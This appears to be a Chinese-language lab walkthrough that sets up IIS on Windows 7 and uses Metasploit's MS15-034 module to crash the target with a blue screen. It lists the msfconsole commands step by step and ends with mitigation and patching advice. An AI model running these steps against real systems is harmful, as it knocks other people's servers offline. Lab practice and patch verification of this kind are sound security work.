windows7 IIS远程执行代码漏洞ms15-034，导致系统蓝屏

一.windows7系统打开iis服务方法

1.控制面板-程序-程序和功能-打开关闭功能-internet服务-万维网全选-WEB管理工具全选,要保证镜像光盘是打开状态、防火墙是关闭的。

2.可以使用默认网站，但是需要进行绑定。在绑定完毕之后要进行物理机访问是否成功。

3.ms15-034是IIS漏洞     ms-17-010是smb漏洞

二、通过MSF进行漏洞验证：

1.msfconsole   #进入msf
2.search ms15-034  #搜索msf中包装的漏洞
3.use 1  #进入一个漏洞文件
4.show options  #查看需要配置的选项，yes表示必须要配
5.set rhosts  192.168.126.xx   #设置要攻击的目标地址
6..show options  #查看是否配置成功
7.back    #退出当前文件
8.use 0   #进入exploit文件
8.show options  #查看需要配置的选项，yes表示必须要配
9.set rhosts  192.168.126.xx   #设置要攻击的目标地址
10.exploit  #执行

三、临时漏洞修复方法：

 禁用IIS内核缓存

 

总结：

1.该漏洞最终导致系统蓝屏，无法进行后续shell操作。只有出现会话标志meterpreter才能进行远程控制。

2.长期漏洞修复方法是通过微软官网打补丁或者更新系统。